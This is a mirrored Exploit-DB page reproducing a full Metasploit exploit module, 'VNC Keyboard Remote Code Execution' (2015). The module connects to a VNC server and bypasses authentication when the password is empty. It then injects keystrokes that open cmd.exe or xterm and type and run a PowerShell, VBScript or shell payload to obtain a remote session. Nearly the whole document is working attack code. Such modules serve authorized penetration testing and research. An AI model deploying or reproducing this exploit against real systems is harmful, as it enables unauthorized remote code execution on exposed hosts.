VNC Keyboard – Remote Code Execution (Metasploit)

  • 作者: Metasploit
    日期: 2015-07-13
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/37598/
  • ##
    # This module requires Metasploit: http://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    require 'msf/core'
    require 'rex/proto/rfb'
    
    class Metasploit3 < Msf::Exploit::Remote
    
    Rank = GreatRanking
    WINDOWS_KEY = "\xff\xeb"
    ENTER_KEY = "\xff\x0d"
    
    include Msf::Exploit::Remote::Tcp
    include Msf::Exploit::CmdStager
    include Msf::Exploit::Powershell
    
    def initialize(info = {})
    super(update_info(info,
    'Name'=> 'VNC Keyboard Remote Code Execution',
    'Description' => %q{
    This module exploits VNC servers by sending virtual keyboard keys and executing
    a payload. On Windows systems a command prompt is opened and a PowerShell or CMDStager
    payload is typed and executed. On Unix/Linux systems a xterm terminal is opened
    and a payload is typed and executed.
    },
    'Author'=> [ 'xistence <xistence[at]0x90.nl>' ],
    'Privileged'=> false,
    'License' => MSF_LICENSE,
    'Platform' => %w{ win unix },
    'Targets' =>
    [
    [ 'VNC Windows / Powershell', { 'Arch' => ARCH_X86, 'Platform' => 'win' } ],
    [ 'VNC Windows / VBScript CMDStager', { 'Platform' => 'win' } ],
    [ 'VNC Linux / Unix', { 'Arch' => ARCH_CMD, 'Platform' => 'unix' } ]
    ],
    'References' =>
    [
    [ 'URL', 'http://www.jedi.be/blog/2010/08/29/sending-keystrokes-to-your-virtual-machines-using-X-vnc-rdp-or-native/']
    ],
    'DisclosureDate'=> 'Jul 10 2015',
    'DefaultTarget' => 0))
    
    register_options(
    [
    Opt::RPORT(5900),
    OptString.new('PASSWORD', [ false, 'The VNC password']),
    OptInt.new('TIME_WAIT', [ true, 'Time to wait for payload to be executed', 20])
    ], self.class)
    end
    
    
    def press_key(key)
    keyboard_key = "\x04\x01" # Press key
    keyboard_key << "\x00\x00\x00\x00" # Unknown / Unused data
    keyboard_key << key # The keyboard key
    # Press the keyboard key. Note: No receive is done as everything is sent in one long data stream
    sock.put(keyboard_key)
    end
    
    
    def release_key(key)
    keyboard_key = "\x04\x00" # Release key
    keyboard_key << "\x00\x00\x00\x00" # Unknown / Unused data
    keyboard_key << key # The keyboard key
    # Release the keyboard key. Note: No receive is done as everything is sent in one long data stream
    sock.put(keyboard_key)
    end
    
    
    def exec_command(command)
    values = command.chars.to_a
    values.each do |value|
    press_key("\x00#{value}")
    release_key("\x00#{value}")
    end
    press_key(ENTER_KEY)
    end
    
    
    def start_cmd_prompt
    print_status("#{rhost}:#{rport} - Opening Run command")
    # Pressing and holding windows key for 1 second
    press_key(WINDOWS_KEY)
    Rex.select(nil, nil, nil, 1)
    # Press the "r" key
    press_key("\x00r")
    # Now we can release both keys again
    release_key("\x00r")
    release_key(WINDOWS_KEY)
    # Wait a second to open run command window
    select(nil, nil, nil, 1)
    exec_command('cmd.exe')
    # Wait a second for cmd.exe prompt to open
    Rex.select(nil, nil, nil, 1)
    end
    
    
    def exploit
    
    begin
    alt_key = "\xff\xe9"
    f2_key = "\xff\xbf"
    password = datastore['PASSWORD']
    
    connect
    vnc = Rex::Proto::RFB::Client.new(sock, :allow_none => false)
    
    unless vnc.handshake
    fail_with(Failure::Unknown, "#{rhost}:#{rport} - VNC Handshake failed: #{vnc.error}")
    end
    
    if password.nil?
    print_status("#{rhost}:#{rport} - Bypass authentication")
    # The following byte is sent in case the VNC server end doesn't require authentication (empty password)
    sock.put("\x10")
    else
    print_status("#{rhost}:#{rport} - Trying to authenticate against VNC server")
    if vnc.authenticate(password)
    print_status("#{rhost}:#{rport} - Authenticated")
    else
    fail_with(Failure::NoAccess, "#{rhost}:#{rport} - VNC Authentication failed: #{vnc.error}")
    end
    end
    
    # Send shared desktop
    unless vnc.send_client_init
    fail_with(Failure::Unknown, "#{rhost}:#{rport} - VNC client init failed: #{vnc.error}")
    end
    
    if target.name =~ /VBScript CMDStager/
    start_cmd_prompt
    print_status("#{rhost}:#{rport} - Typing and executing payload")
    execute_cmdstager({:flavor => :vbs, :linemax => 8100})
    # Exit the CMD prompt
    exec_command('exit')
    elsif target.name =~ /Powershell/
    start_cmd_prompt
    print_status("#{rhost}:#{rport} - Typing and executing payload")
    command = cmd_psh_payload(payload.encoded, payload_instance.arch.first, {remove_comspec: true, encode_final_payload: true})
    # Execute powershell payload and make sure we exit our CMD prompt
    exec_command("#{command} && exit")
    elsif target.name =~ /Linux/
    print_status("#{rhost}:#{rport} - Opening 'Run Application'")
    # Press the ALT key and hold it for a second
    press_key(alt_key)
    Rex.select(nil, nil, nil, 1)
    # Press F2 to start up "Run application"
    press_key(f2_key)
    # Release ALT + F2
    release_key(alt_key)
    release_key(f2_key)
    # Wait a second for "Run application" to start
    Rex.select(nil, nil, nil, 1)
    # Start a xterm window
    print_status("#{rhost}:#{rport} - Opening xterm")
    exec_command('xterm')
    # Wait a second for "xterm" to start
    Rex.select(nil, nil, nil, 1)
    # Execute our payload and exit (close) the xterm window
    print_status("#{rhost}:#{rport} - Typing and executing payload")
    exec_command("nohup #{payload.encoded} &")
    exec_command('exit')
    end
    
    print_status("#{rhost}:#{rport} - Waiting for session...")
    (datastore['TIME_WAIT']).times do
    Rex.sleep(1)
    
    # Success! session is here!
    break if session_created?
    end
    
    rescue ::Timeout::Error, Rex::ConnectionError, Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout => e
    fail_with(Failure::Unknown, "#{rhost}:#{rport} - #{e.message}")
    ensure
    disconnect
    end
    end
    
    def execute_command(cmd, opts = {})
    exec_command(cmd)
    end
    
    end